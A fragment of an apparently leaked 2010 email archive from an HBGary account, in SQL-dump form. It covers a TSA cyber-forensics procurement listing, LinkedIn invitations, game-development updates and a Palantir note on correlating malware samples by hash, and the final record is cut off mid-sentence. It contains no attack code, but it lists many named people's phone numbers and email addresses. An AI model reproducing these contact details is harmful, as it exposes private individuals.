\r\n          \r\n          10/2010 (INPUT Estimate)&nbsp;\r\n          \r\n         \r\n         \r\n          \r\n          \r\n          \r\n         \r\n         \r\n          \r\n          \r\n          \r\n          \r\n          Award Date:\r\n          \r\n          \r\n          \r\n          \r\n          \r\n          12/2011 (INPUT Estimate)&nbsp;\r\n          \r\n         \r\n         \r\n          \r\n          \r\n          \r\n         \r\n         \r\n          \r\n          \r\n          \r\n          \r\n          Solicitation #:\r\n          \r\n          \r\n          \r\n          \r\n          \r\n          ECFS&nbsp;\r\n          \r\n         \r\n         \r\n          \r\n          \r\n          \r\n         \r\n         \r\n          \r\n          \r\n          \r\n          \r\n          Value($K):\r\n          \r\n          \r\n          \r\n          \r\n          \r\n          TBD&nbsp;\r\n          \r\n         \r\n         \r\n          \r\n          \r\n          \r\n         \r\n         \r\n          \r\n          \r\n          \r\n          \r\n          Competition Type:\r\n          \r\n          \r\n          \r\n          \r\n          \r\n          Undetermined&nbsp;\r\n          \r\n         \r\n         \r\n          \r\n          \r\n          \r\n         \r\n         \r\n          \r\n          \r\n          \r\n          \r\n          Primary Requirement:\r\n          \r\n          \r\n          \r\n          \r\n          \r\n          System Design and Architecture&nbsp;\r\n          \r\n         \r\n         \r\n          \r\n          \r\n          \r\n         \r\n         \r\n          \r\n          \r\n          \r\n          \r\n          Duration:\r\n          \r\n          \r\n          \r\n          \r\n          \r\n          TBD&nbsp;\r\n          \r\n         \r\n         \r\n          \r\n          \r\n          \r\n         \r\n         \r\n          \r\n          \r\n          \r\n          \r\n          Contract Type:\r\n          \r\n          \r\n          \r\n          \r\n          \r\n          TBD&nbsp;\r\n          \r\n         \r\n         \r\n          \r\n          \r\n          \r\n         \r\n         \r\n          \r\n          \r\n          \r\n          \r\n          Primary NAICS Code:\r\n          \r\n          \r\n          \r\n          \r\n          \r\n          541519: OTHER COMPUTER RELATED SERVICES &nbsp;\r\n          \r\n         \r\n         \r\n          \r\n          \r\n          \r\n         \r\n         \r\n          \r\n          \r\n          \r\n          \r\n          Place of Performance:\r\n          \r\n          \r\n          \r\n          \r\n          \r\n          Arlington, VA&nbsp;\r\n          \r\n         \r\n         \r\n          \r\n          \r\n          \r\n         \r\n         \r\n          \r\n          \r\n          \r\n          \r\n          Opportunity Website:\r\n          \r\n          \r\n          \r\n          \r\n          \r\n          Click to Visit\r\n          Website&nbsp;\r\n          \r\n         \r\n         \r\n          \r\n          \r\n          \r\n         \r\n         \r\n          \r\n          \r\n          \r\n          \r\n          Updated :\r\n          \r\n          \r\n          \r\n          \r\n          \r\n          07/28/2010&nbsp;\r\n          \r\n         \r\n         \r\n          \r\n          \r\n          \r\n         \r\n        \r\n        \r\n       \r\n      \r\n      \r\n      \r\n     \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n     \r\n      \r\n      \r\n       \r\n        \r\n        Related Details\r\n        \r\n        \r\n        \r\n        \r\n        \r\n       \r\n      \r\n      \r\n     \r\n     \r\n      \r\n      \r\n      \r\n       \r\n        \r\n        \r\n        \r\n         \r\n          \r\n          \r\n           \r\n            \r\n            Key Contacts\r\n            \r\n            \r\n            \r\n            \r\n            \r\n           \r\n          \r\n          \r\n         \r\n         \r\n          \r\n          \r\n          \r\n           \r\n            \r\n            Tonya\r\n            Pruitt &nbsp;&nbsp; \r\n            \r\n            \r\n            571-227-3892\r\n            \r\n           \r\n           \r\n            \r\n            Contract Specialist\r\n            \r\n            \r\n            &nbsp; \r\n            \r\n           \r\n           \r\n            \r\n            HOMELAND SECURITY\r\n            \r\n            \r\n           \r\n           \r\n            \r\n            \r\n            &nbsp;\r\n            \r\n            \r\n           \r\n           \r\n            \r\n            Mary\r\n            Hallam &nbsp;&nbsp; \r\n            \r\n            \r\n            571-227-2998\r\n            \r\n           \r\n           \r\n            \r\n            Contracting Officer\r\n            \r\n            \r\n            &nbsp; \r\n            \r\n           \r\n           \r\n            \r\n            TRANSPORTATION SECURITY ADMINISTRATION\r\n            \r\n            \r\n           \r\n           \r\n            \r\n            \r\n            &nbsp;\r\n            \r\n            \r\n           \r\n           \r\n            \r\n            More &raquo; &nbsp;&nbsp;&nbsp; \r\n            \r\n            \r\n           \r\n          \r\n          \r\n          \r\n         \r\n        \r\n        \r\n        \r\n       \r\n       \r\n        \r\n        \r\n        \r\n         \r\n          \r\n          \r\n           \r\n            \r\n            Latest News\r\n            \r\n            \r\n            \r\n            \r\n            \r\n           \r\n          \r\n          \r\n         \r\n         \r\n          \r\n          \r\n          \r\n           \r\n            \r\n            07/28/2010 - The Contracting Office stated\r\n            that no RFP has been released to date, and that an RFP release\r\n            timeframe is currently unavailable. \r\n            \r\n            \r\n            \r\n            \r\n           \r\n           \r\n            \r\n            More\r\n            &raquo;&nbsp;&nbsp;&nbsp;\r\n            \r\n           \r\n          \r\n          \r\n          \r\n         \r\n        \r\n        \r\n        \r\n       \r\n       \r\n        \r\n        \r\n        \r\n         \r\n          \r\n          \r\n           \r\n            \r\n            Contracts\r\n            \r\n            \r\n            \r\n            \r\n            \r\n           \r\n          \r\n          \r\n         \r\n         \r\n          \r\n          \r\n          \r\n           \r\n            \r\n            &quot;INPUT\r\n            has confirmed this is a new requirement.&quot; \r\n            \r\n           \r\n          \r\n          \r\n          \r\n         \r\n        \r\n        \r\n        \r\n       \r\n      \r\n      \r\n      \r\n     \r\n    \r\n    \r\n   \r\n   \r\n    \r\n    \r\n    \r\n   \r\n   \r\n    \r\n    \r\n     \r\n      \r\n      \r\n       \r\n        \r\n        Procurement\r\n        Timeline\r\n        \r\n        \r\n        \r\n        \r\n        \r\n       \r\n      \r\n      \r\n     \r\n     \r\n      \r\n      \r\n      \r\n       \r\n        \r\n        \r\n        \r\n       \r\n       \r\n        \r\n        \r\n        \r\n        \r\n        \r\n        \r\n        \r\n       \r\n       \r\n        \r\n        \r\n        \r\n        \r\n        \r\n        \r\n         \r\n          \r\n          \r\n           \r\n            \r\n            Sources Sought\r\n            \r\n            \r\n            06/01/2010 \r\n            \r\n           \r\n           \r\n            \r\n            Questions/Comments\r\n            \r\n            \r\n            06/08/2010 \r\n            \r\n           \r\n           \r\n            \r\n            Capabilities Statements\r\n            \r\n            \r\n            06/15/2010 \r\n            \r\n           \r\n           \r\n            \r\n            Solicitation Release\r\n            \r\n            \r\n            10/2010 (INPUT Estimate) \r\n            \r\n           \r\n           \r\n            \r\n            Award Date\r\n            \r\n            \r\n            12/2011 (INPUT Estimate) \r\n            \r\n           \r\n          \r\n          \r\n         \r\n        \r\n        \r\n        \r\n        \r\n        \r\n        \r\n       \r\n       \r\n        \r\n        &nbsp;\r\n        \r\n        \r\n        \r\n       \r\n      \r\n      \r\n      \r\n     \r\n    \r\n    \r\n   \r\n   \r\n    \r\n    \r\n    \r\n   \r\n   \r\n    \r\n    \r\n     \r\n      \r\n      \r\n       \r\n        \r\n        Opportunity Resources\r\n        \r\n        \r\n        \r\n        \r\n        \r\n       \r\n      \r\n      \r\n     \r\n     \r\n      \r\n      \r\n      \r\n       \r\n        \r\n       \r\n       \r\n        \r\n       \r\n       \r\n        \r\n       \r\n       \r\n        \r\n        \r\n        \r\n         \r\n          \r\n          \r\n           \r\n            \r\n            Recent\r\n            Articles &amp; FedBizOpps Announcements\r\n            \r\n            \r\n            \r\n            \r\n            \r\n           \r\n          \r\n          \r\n         \r\n         \r\n          \r\n          \r\n          \r\n           \r\n            \r\n            Modification (Jun\r\n            11, 2010 - FedBizOpps) \r\n            \r\n            \r\n            \r\n            \r\n           \r\n           \r\n            \r\n            TSA wants cyber forensics info (Jun 02, 2010 - Federal Computer Week) \r\n            \r\n            \r\n            \r\n            \r\n           \r\n           \r\n            \r\n            Enterprise Cyber Forensics System (ECFS) (Jun 01, 2010 - FedBizOpps) \r\n            \r\n            \r\n            \r\n            \r\n           \r\n           \r\n            \r\n            More &raquo;\r\n            \r\n           \r\n          \r\n          \r\n          \r\n         \r\n        \r\n        \r\n        \r\n       \r\n       \r\n        \r\n       \r\n       \r\n        \r\n       \r\n       \r\n        \r\n       \r\n      \r\n      \r\n      \r\n     \r\n    \r\n    \r\n   \r\n   \r\n    \r\n    \r\n    \r\n   \r\n   \r\n    \r\n    \r\n     \r\n      \r\n      \r\n       \r\n        \r\n        Program\r\n        Description\r\n        \r\n        \r\n        \r\n        \r\n        \r\n       \r\n      \r\n      \r\n     \r\n     \r\n      \r\n      \r\n      \r\n       \r\n        \r\n        \r\n         \r\n          \r\n          \r\n           \r\n            \r\n            Secondary Requirements\r\n            \r\n            \r\n            \r\n            \r\n            \r\n           \r\n          \r\n          \r\n         \r\n         \r\n          \r\n          \r\n          \r\n           \r\n            \r\n            Find Teaming Partners\r\n            \r\n            \r\n            &nbsp;\r\n           \r\n           \r\n            \r\n            Application Ops / Management \r\n            Applications Software \r\n            Configuration Management \r\n            Data Management/Administration \r\n            Managed Security Services \r\n            Planning &amp; Analysis \r\n            System Design and Architecture \r\n            Systems Integration \r\n            \r\n            \r\n            \r\n            \r\n           \r\n          \r\n          \r\n          \r\n         \r\n        \r\n        SUMMARY:\r\n        \r\n        \r\n        \r\n        The Department of Homeland Security,\r\n        Transporation Security Administration (TSA), has a requirement&nbsp;for\r\n        Enterprise Cyber Forensics System (ECFS) technologies that are\r\n        currently available in the marketplace. \r\n        BACKGROUND:\r\n        The Transportation Security\r\n        Administration (TSA) mission is to protect the Nation\'s transportation\r\n        systems and to ensure freedom of movement for people and commerce. \r\n        REQUIREMENTS:\r\n        &nbsp;&nbsp;&nbsp;&nbsp; Enterprise\r\n        Cyber Forensics System (ECFS) products/solutions that can provide the\r\n        ability to scan, capture, identify, report, and resolve information\r\n        technology forensics issues across the entire TSA environment \r\n        &nbsp;&nbsp;&nbsp;&nbsp; The\r\n        product/solution should allow TSA forensics users to address insider\r\n        threats, data leakage, IT asset misuse, anomaly detection, malicious\r\n        code and activity identification, compliance verification, and\r\n        e-discovery procedures \r\n        &nbsp;&nbsp;&nbsp;&nbsp; The\r\n        ECFS system should also allow for the integration with ArcSight\r\n        Security Information and Event Management tools and have reporting\r\n        capabilities that will allow TSA leadership to access information as\r\n        needed \r\n        FUNDING/CONTRACT VALUE:\r\n        Funding information is currently not\r\n        available. \r\n        \r\n       \r\n      \r\n      \r\n      \r\n     \r\n    \r\n    \r\n   \r\n   \r\n    \r\n    \r\n    \r\n   \r\n   \r\n    \r\n   \r\n   \r\n    \r\n    \r\n    \r\n   \r\n   \r\n    \r\n    \r\n     \r\n      \r\n      \r\n       \r\n        \r\n        Latest\r\n        News\r\n        \r\n        \r\n        \r\n        \r\n        \r\n       \r\n      \r\n      \r\n     \r\n     \r\n      \r\n      \r\n      \r\n       \r\n        \r\n       \r\n      \r\n      \r\n      &nbsp;\r\n      \r\n      \r\n       \r\n        \r\n        \r\n        07/28/2010 - The\r\n        Contracting Office stated that no RFP has been released to date, and\r\n        that an RFP release timeframe is currently unavailable. \r\n        \r\n       \r\n       \r\n        \r\n        \r\n        06/30/2010 - The Contracting Office stated that an anticipated\r\n        RFP release timeframe is currently unavailable.\r\n        \r\n       \r\n       \r\n        \r\n        \r\n        06/11/2010 - The Contracting Office released a Modification on\r\n        June 11, 2010. The purpose of the Modification is to change the page\r\n        count submission for Capabilities Statements to a maximum of 10 pages.\r\n        Capabilities Statements remain due to Tonya Pruitt by 5:00 PM ET on\r\n        June 15, 2010.\r\n        \r\n       \r\n       \r\n        \r\n        \r\n        06/03/2010 - A Federal\r\n        Computer Week article outlines the search for capable companies for\r\n        computer security forensics technologies. The Contracting Office\r\n        confirmed this is a new requirement. Questions are due to Tonya Pruitt by 5:00 PM ET on\r\n        June 8, 2010. Capabilities Statements are due to Mary Hallam by 5:00 PM ET on June 15,\r\n        2010.\r\n        \r\n       \r\n       \r\n        \r\n        \r\n        06/01/2010 - The Contracting Office released a Sources Sought\r\n        Notice on June 1, 2010. Questions are due to Tonya Pruitt by 5:00 PM ET on\r\n        June 8, 2010. Capabilities Statements are due to Mary Hallam by 5:00 PM ET on June 15,\r\n        2010.\r\n        \r\n       \r\n       \r\n        \r\n        \r\n       \r\n      \r\n      \r\n      \r\n     \r\n    \r\n    \r\n    \r\n    \r\n   \r\n   \r\n    \r\n    \r\n    \r\n    \r\n    \r\n   \r\n   \r\n    \r\n    \r\n     \r\n      \r\n      \r\n       \r\n        \r\n        Additional\r\n        Opportunity Resources\r\n        \r\n        \r\n        \r\n        \r\n        \r\n       \r\n      \r\n      \r\n     \r\n     \r\n      \r\n      \r\n      \r\n       \r\n        \r\n        &nbsp;\r\n        \r\n       \r\n       \r\n        \r\n        \r\n        \r\n         \r\n          \r\n          \r\n           \r\n            \r\n            Recent\r\n            Articles &amp; FedBizOpps Announcements\r\n            \r\n            \r\n            \r\n            \r\n            \r\n           \r\n          \r\n          \r\n         \r\n         \r\n          \r\n          \r\n          \r\n           \r\n            \r\n            Modification \r\n            \r\n            \r\n            FedBizOpps\r\n            \r\n            \r\n            Published Jun 11, 2010\r\n            \r\n            \r\n            \r\n            \r\n           \r\n           \r\n            \r\n            TSA wants cyber forensics info \r\n            \r\n            \r\n            Federal Computer Week\r\n            \r\n            \r\n            Published Jun 02, 2010\r\n            \r\n            \r\n            \r\n            \r\n           \r\n           \r\n            \r\n            Enterprise Cyber Forensics System (ECFS) \r\n            \r\n            \r\n            FedBizOpps\r\n            \r\n            \r\n            Published Jun 01, 2010\r\n            \r\n            \r\n            \r\n            \r\n           \r\n          \r\n          \r\n          \r\n         \r\n        \r\n        \r\n        \r\n       \r\n       \r\n        \r\n        &nbsp;\r\n        \r\n       \r\n       \r\n        \r\n        \r\n        \r\n         \r\n          \r\n          \r\n           \r\n            \r\n            Online Resources\r\n            \r\n            \r\n            \r\n            \r\n            \r\n           \r\n          \r\n          \r\n         \r\n         \r\n          \r\n          \r\n          \r\n           \r\n            \r\n            For more information on the\r\n            Transportation Security Administration (TSA), please visit: www.tsa.gov\r\n            \r\n           \r\n          \r\n          \r\n          \r\n         \r\n        \r\n        \r\n        \r\n       \r\n      \r\n      \r\n      \r\n     \r\n    \r\n    \r\n    \r\n    \r\n   \r\n   \r\n    \r\n    \r\n    \r\n    \r\n    \r\n   \r\n   \r\n    \r\n    \r\n     \r\n      \r\n      \r\n       \r\n        \r\n        General\r\n        Program Information\r\n        \r\n        \r\n        \r\n        \r\n        \r\n       \r\n      \r\n      \r\n     \r\n     \r\n      \r\n      \r\n      \r\n       \r\n        \r\n        INCUMBENT\r\n        INFORMATION: This is a\r\n        new requirement. No incumbent contracts exist for this requirement.\r\n        PLACE\r\n        OF PERFORMANCE:\r\n        &nbsp;&nbsp;&nbsp;&nbsp; 601\r\n        S. 12th Street \r\n        TSA-25, 10th Floor \r\n        Arlington, Virginia 20598 \r\n        United States \r\n        \r\n       \r\n      \r\n      \r\n      \r\n     \r\n    \r\n    \r\n    \r\n    \r\n   \r\n   \r\n    \r\n    \r\n    \r\n    \r\n    \r\n   \r\n   \r\n    \r\n    \r\n     \r\n      \r\n      \r\n       \r\n        \r\n        Interested\r\n        Vendors\r\n        \r\n        \r\n        \r\n        \r\n        \r\n       \r\n      \r\n      \r\n     \r\n     \r\n      \r\n      \r\n      \r\n       \r\n        \r\n        Advertise Your Interest \r\n        \r\n       \r\n       \r\n        \r\n        \r\n         \r\n          \r\n          &nbsp;\r\n          \r\n          \r\n          Vendor\r\n          \r\n          \r\n          Contact\r\n          \r\n          \r\n          Position\r\n          \r\n          \r\n          Socioeconomic Status\r\n          \r\n          \r\n          Website\r\n          \r\n         \r\n         \r\n          \r\n          &nbsp;\r\n          \r\n          \r\n          Fortinet,\r\n          Inc. \r\n          \r\n          \r\n          Mike\r\n          Zichi\r\n          703 625-4653\r\n          mzichi@fortinet.com\r\n          \r\n          \r\n          Any\r\n          \r\n          \r\n          \r\n          http://www.fort...\r\n          \r\n         \r\n         \r\n          \r\n          &nbsp;\r\n          \r\n          \r\n          Missing\r\n          Link Security \r\n          \r\n          \r\n          Larry\r\n          Reagan\r\n          703.901.8269\r\n          larryr@missinglinksecurity.com\r\n          \r\n          \r\n          Any\r\n          \r\n          \r\n          Small Business\r\n          \r\n          \r\n          http://www.miss...\r\n          \r\n         \r\n         \r\n          \r\n          &nbsp;\r\n          \r\n          \r\n          Tripwire,\r\n          Inc. \r\n          \r\n          \r\n          James\r\n          McGowan\r\n          301-452-6591\r\n          jmcgowan@tripwire.com\r\n          \r\n          \r\n          Any\r\n          \r\n          \r\n          \r\n          http://www.trip...\r\n          \r\n         \r\n         \r\n          \r\n          &nbsp;\r\n          \r\n          \r\n          ImmixGroup,\r\n          Inc. \r\n          \r\n          \r\n          Carey\r\n          Bandler\r\n          7037520610\r\n          carey_bandler@immixGroup.com\r\n          \r\n          \r\n          Priming\r\n          \r\n          \r\n          Small Business\r\n          \r\n          \r\n          http://www.immi...\r\n          \r\n         \r\n         \r\n          \r\n          &nbsp;\r\n          \r\n          \r\n          Kofax\r\n          \r\n          \r\n          \r\n          Chris\r\n          Nimmer\r\n          540-687-0598\r\n          chris.nimmer@kofax.com\r\n          \r\n          \r\n          Priming\r\n          \r\n          \r\n          Small Business\r\n          \r\n          \r\n          http://www.kofa...\r\n          \r\n         \r\n         \r\n          \r\n          &nbsp;\r\n          \r\n          \r\n          Assured\r\n          Information Security, Inc. (AIS) \r\n          \r\n          \r\n          Igor\r\n          Plonisch\r\n          315 336 3306 x545\r\n          plonischi@ainfosec.com\r\n          \r\n          \r\n          Subbing\r\n          \r\n          \r\n          Small Business\r\n          \r\n          \r\n          http://www.ainf...\r\n          \r\n         \r\n         \r\n          \r\n          &nbsp;\r\n          \r\n          \r\n          Cray\r\n          Inc - Custom Engineering\r\n          \r\n          \r\n          Gregg\r\n          DeLeaver\r\n          443-994-3410\r\n          greggd@cray.com\r\n          \r\n          \r\n          Subbing\r\n          \r\n          \r\n          Small Business\r\n          \r\n          \r\n          www.cray.com...\r\n          \r\n         \r\n         \r\n          \r\n          &nbsp;\r\n          \r\n          \r\n          Juniper\r\n          Networks, Inc. \r\n          \r\n          \r\n          Beverly\r\n          Babooram\r\n          571-203-1761\r\n          bdavis@juniper.net\r\n          \r\n          \r\n          Subbing\r\n          \r\n          \r\n          \r\n          www.juniper.net...\r\n          \r\n         \r\n         \r\n          \r\n          &nbsp;\r\n          \r\n          \r\n          Overwatch\r\n          Systems, LTD \r\n          \r\n          \r\n          Ken\r\n          Phillips\r\n          512-358-2760\r\n          kphillips@overwatch.textron.com\r\n          \r\n          \r\n          Subbing\r\n          \r\n          \r\n          \r\n          http://tactical...\r\n          \r\n         \r\n         \r\n          \r\n          &nbsp;\r\n          \r\n          \r\n          SecureState\r\n          LLC \r\n          \r\n          \r\n          Matt\r\n          Franko\r\n          216-927-8200\r\n          mfranko@securestate.com\r\n          \r\n          \r\n          Subbing\r\n          \r\n          \r\n          Small Business\r\n          \r\n          \r\n          http://www.secu...\r\n          \r\n         \r\n         \r\n          \r\n          &nbsp;\r\n          \r\n          \r\n          Sybase\r\n          Inc \r\n          \r\n          \r\n          Troy\r\n          Kearse\r\n          3018961810\r\n          troy.kearse@sybase.com\r\n          \r\n          \r\n          Subbing\r\n          \r\n          \r\n          \r\n          www.sybase.com...\r\n          \r\n         \r\n         \r\n          \r\n          &nbsp;\r\n          \r\n          \r\n          MANAGEMENT\r\n          &amp; ENGINEERING TECH INTERNATIONAL INC (METI) \r\n          \r\n          \r\n          Gwen\r\n          Williamson\r\n          (915) 772-4975\r\n          gwilliamson@meticorp.com\r\n          \r\n          \r\n          Unknown\r\n          \r\n          \r\n          Small Disadvantaged Business\r\n          \r\n          \r\n          http://www.meti...\r\n          \r\n         \r\n        \r\n        \r\n        \r\n       \r\n      \r\n      \r\n      \r\n     \r\n    \r\n    \r\n    \r\n    \r\n   \r\n   \r\n    \r\n    \r\n    \r\n    \r\n    \r\n   \r\n   \r\n    \r\n    \r\n     \r\n      \r\n      \r\n       \r\n        \r\n        Potential\r\n        Participants:\r\n        \r\n        \r\n        \r\n        \r\n        \r\n       \r\n      \r\n      \r\n     \r\n     \r\n      \r\n      \r\n      \r\n       \r\n        \r\n        Key:\r\n        \r\n       \r\n       \r\n        \r\n        &nbsp;&nbsp; Teaming\r\n        FPDS\r\n        \r\n        \r\n       \r\n       \r\n        \r\n        &nbsp;\r\n        \r\n       \r\n       \r\n        \r\n        Below are the companies that hold a\r\n        current contract for this opportunity:\r\n        \r\n       \r\n       \r\n        \r\n        &nbsp;&nbsp;INPUT has confirmed this is a new requirement.\r\n        \r\n        \r\n       \r\n       \r\n        \r\n        &nbsp;\r\n        \r\n       \r\n       \r\n        \r\n        Below are companies that have work\r\n        experience in Homeland Security in NAICS 541519: \r\n        \r\n       \r\n       \r\n        \r\n        \r\n         \r\n          \r\n          Links\r\n          \r\n          \r\n          Potential Participants\r\n          \r\n          \r\n          Links\r\n          \r\n          \r\n          Potential Participants\r\n          \r\n         \r\n         \r\n          \r\n          \r\n          \r\n          \r\n          ACCENTURE\r\n          \r\n          \r\n          \r\n          \r\n          \r\n          LOCKHEED MARTIN CORPORATION\r\n          \r\n         \r\n         \r\n          \r\n          \r\n          \r\n          \r\n          BOEING COMPANY\r\n          \r\n          \r\n          \r\n          \r\n          \r\n          NORTHROP GRUMMAN CORPORATION\r\n          \r\n         \r\n         \r\n          \r\n          \r\n          \r\n          \r\n          BOOZ ALLEN HAMILTON INC. (BAH)\r\n          \r\n          \r\n          \r\n          \r\n          \r\n          SANDIA NATIONAL LABORATORIES\r\n          \r\n         \r\n        \r\n        \r\n       \r\n      \r\n      \r\n      \r\n     \r\n    \r\n    \r\n    \r\n    \r\n   \r\n   \r\n    \r\n    \r\n    \r\n    \r\n    \r\n   \r\n   \r\n    \r\n    \r\n    \r\n   \r\n   \r\n    \r\n    \r\n    \r\n    \r\n    \r\n   \r\n   \r\n    \r\n    \r\n    \r\n    \r\n    \r\n   \r\n  \r\n  \r\n  \r\n \r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\nMarket Intelligence is delivered through INPUT\'s portal.\r\nPrivacy ¦ Site\r\nMap ¦ Contact Us \r\n\r\n© 2010 INPUT. All rights reserved.\r\nINPUT and the INPUT logo are registered trademarks of INPUT in the United\r\nStates and other countries.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4819,'aaron_hbgary_com/4819.html'),(12390,'2010-09-28','\"Martin Pillion\" <martin@hbgary.com>','/aaron@hbgary.com/new/1297009149.M367705P14101Q7245.eml','\"Aaron Barr\" <aaron@hbgary.com>','[Fwd: TAO Industry Day - October 4, 2010 - UPDATED]','\r\nthought you might find this worth checking out.\r\n\r\n- Martin\r\n',6780,'aaron_hbgary_com/6780.html'),(12391,'2010-09-28','\"John Fant via LinkedIn\" <member@linkedin.com>','/aaron@hbgary.com/new/1297009149.M602303P14101Q7246.eml','\"Aaron Barr\" <aaron@hbgary.com>','John Fant wants to connect on LinkedIn','\r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n  LinkedIn\r\n\r\n      John Fant requested to add you as a connection on LinkedIn:\r\n  \r\n    Aaron,\r\n\r\nI\'d like to add you to my professional network on LinkedIn.\r\n\r\n- John Fant\r\n  \r\n  \r\n  &nbsp;\r\n\r\n    \r\n      \r\n          \r\n            Accept\r\n          \r\n           \r\n                View invitation from John Fant\r\n          \r\n      \r\n    \r\n\r\n   \r\n   &nbsp;\r\n   \r\n   DID YOU KNOW you can conduct a more credible and powerful reference check using LinkedIn? Enter the company name and years of employment or the prospective employee to find their colleagues that are also in your network. This provides you with a more balanced set of feedback to evaluate that new hire. \r\n  &nbsp;\r\n\r\n\r\n\r\n\r\n\r\n  &#169; 2010, LinkedIn Corporation\r\n\r\n',9415,'aaron_hbgary_com/9415.html'),(12392,'2010-09-28','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297009149.M811199P14101Q7247.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','End Games','TedPenny asked me to include the End Games Service into the DigitalGlobe Proposal -- can you send me a description of the service and the cost -- I imagine we have minimum that we charge for the service?\r\nWould be great if I can finalize the proposal tomorrow.Maria-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com   \r\n\r\n',15295,'aaron_hbgary_com/15295.html'),(12393,'2010-09-29','\"Greg Hoglund\" <greg@gunwalegames.com>','/aaron@hbgary.com/new/1297009152.M337053P14101Q7248.eml','aaron@hbgary.com,aaron@hbgary.com,','Fwd: Ground Texture',' \r\nAaron,\r\n \r\nJohn and Mikiya were able to resolve the ground texturing issue.  What you see in the screenshot is a 5-layer ground texture using 5 seamlessly tiling 256x256 tga files each with a cooresponding alpha mask.  Technically speaking, the 256x256 textures tile seamlessly across the terrain mesh, in the screenshot that would be about 20x20 texture tiles for the mesh that you see.  Then, layered in between each of these is an alpha mask that is the same size as the terrain mesh (no tiling, just a big bitmap).  That controls whether the layer shows thru.  This is basically how most terrain works in most games, including World of Warcraft.\r\n\r\n \r\nIn the example we have 5 layers:\r\n1) road\r\n2) grass\r\n3) grass with flowers and clover\r\n4) dirt\r\n5) dried cracked dirt\r\n \r\nMikiya can mix those in almost any fashion using the above system.  It may seem like alot of texture layers, but this is pretty much on-par with WoW (given that I reversed it I am pretty familier with their art system).\r\n\r\n \r\nAlso good news - John was able to resolve the fade-in / fade-out of the roof when walking into a building.  I saw a demo today and it pops.\r\n \r\nAlso, I have contacted my old artist/illustrator in Brazil who has done concept art &amp; illustration, including the cover of my rootkit book and my exploiting online games book.  Here is a link to his portfolio (http://pulyx.deviantart.com/) - he wants to assist with concept art and also wants to texture our models for us.  He would not cost very much.\r\n\r\n \r\n-Greg\r\n \r\n \r\n---------- Forwarded message ----------From: John Ransom &lt;john@gunwalegames.com&gt;Date: Tue, Sep 28, 2010 at 2:51 PM\r\nSubject: Ground TextureTo: greg@gunwalegames.com\r\nSee attachment\r\n',15924,'aaron_hbgary_com/15924.html'),(12394,'2010-09-29','\"Kurt Hakenson via LinkedIn\" <member@linkedin.com>','/aaron@hbgary.com/new/1297009152.M718467P14101Q7249.eml','\"Aaron Barr\" <aaron@hbgary.com>','Join my network on LinkedIn','\r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n  LinkedIn\r\n\r\n            Kurt Hakenson has indicated you are a Colleague at Northrop Grumman Corporation:\r\n  \r\n    I\'d like to add you to my professional network on LinkedIn.\r\n\r\n\r\n\r\n- Kurt Hakenson\r\n  \r\n  \r\n  &nbsp;\r\n\r\n    \r\n      \r\n          \r\n            Accept\r\n          \r\n           \r\n                View invitation from Kurt Hakenson\r\n          \r\n      \r\n    \r\n\r\n   \r\n   &nbsp;\r\n   \r\n   DID YOU KNOW you can conduct a more credible and powerful reference check using LinkedIn? Enter the company name and years of employment or the prospective employee to find their colleagues that are also in your network. This provides you with a more balanced set of feedback to evaluate that new hire. \r\n  &nbsp;\r\n\r\n\r\n\r\n\r\n\r\n  &#169; 2010, LinkedIn Corporation\r\n  \r\n\r\n',14330,'aaron_hbgary_com/14330.html'),(12395,'2010-09-29','\"Greg Hoglund\" <greg@gunwalegames.com>','/aaron@hbgary.com/new/1297009153.M681982P14101Q7250.eml','aaron@hbgary.com,aaron@hbgary.com,','House with selection zodiac',' \r\nAaron,\r\n \r\nThe attached screenshot shows the selection zodiac that will appear around a house if you right click on it.  We figure right-click is the approach since right-click on most computer systems will reveal a pop-up menu.  In the game, right clicking will cause the buildings control-panel to popup.  The guys were working on the art assets for the GUI today and it looks pretty good.  The zodiac is bold and would appear to float around the house, similar to how it appears in the screen shot.  This should serve our needs for the moment.\r\n\r\n \r\nAnother small detail, you will notice that the house now has a little ground texture surrounding it&#39;s base.  This was added so the house doesn&#39;t appear to &#39;float&#39; on the terrain.  I have yet to see it in-client but I think it will be a nice touch.\r\n\r\n \r\n-Greg\r\n',2446,'aaron_hbgary_com/2446.html'),(12396,'2010-09-29','\"Aaron Zollman\" <azollman@palantir.com>','/aaron@hbgary.com/new/1297009154.M723236P14101Q7251.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','RE: Malware presentation at Palantir GovCon','All --\r\n\r\n	The deadline is coming up -- Aaron, can we meet again this Friday to work on the presentation some more? I also need some data from you, which I\'ve called out at the end of this message; including TMC samples we discussed last friday.\r\n\r\n	But first, Progress!\r\n	I tried a new correlation technique -- a much simpler one. Using sqlite, I identified all malware with more than 20 fingerprints in common with one (or more) of the APT samples. I then imported those Commonality records (a new datatype) as linking events in Palantir. \r\n\r\n6 of the malware samples don\'t have high Commonality with any of the APT samples -- you\'ll see those off to the side in the attached screenshot. \r\n\r\n4 of the malware objects seem to be relatively tightly coupled to each other through some of the original samples:\r\n\r\n	99ba36a387f82369440fa3858ed2c7ae\r\n	83d7e99ace330a6301ab6423b16701de\r\n	c10222e198dd1b32f19d2c3bf55880cd\r\n	ae7bf771b80576ec88469a1bc495812e\r\n\r\nAnd one of the malware objects has a few commonalities with the others, but several malware objects that are only similar to it (and not the other 4):\r\n\r\n	279162665e7c01624091afb19b7d7f4c\r\n\r\nThe screenshot makes this all very clear.\r\n\r\n\r\nTo complete the presentation, we\'ll want to take those four malware objects -- and possibly the linked malware objects as well -- and also import some of the additional fingerprint data available from TMC -- IP addresses they call out to, interesting strings, etc. -- and further augment *that* data with things we learn from social network information. \r\n\r\nThe first practice sessions for GovCon are next *Tuesday* the 5th. They snapshot the data to build the servers used during the presentation the following day, the 6th. While we can make some changes after this date, ideally we\'ll have all the data we\'ll need for our presentation by next 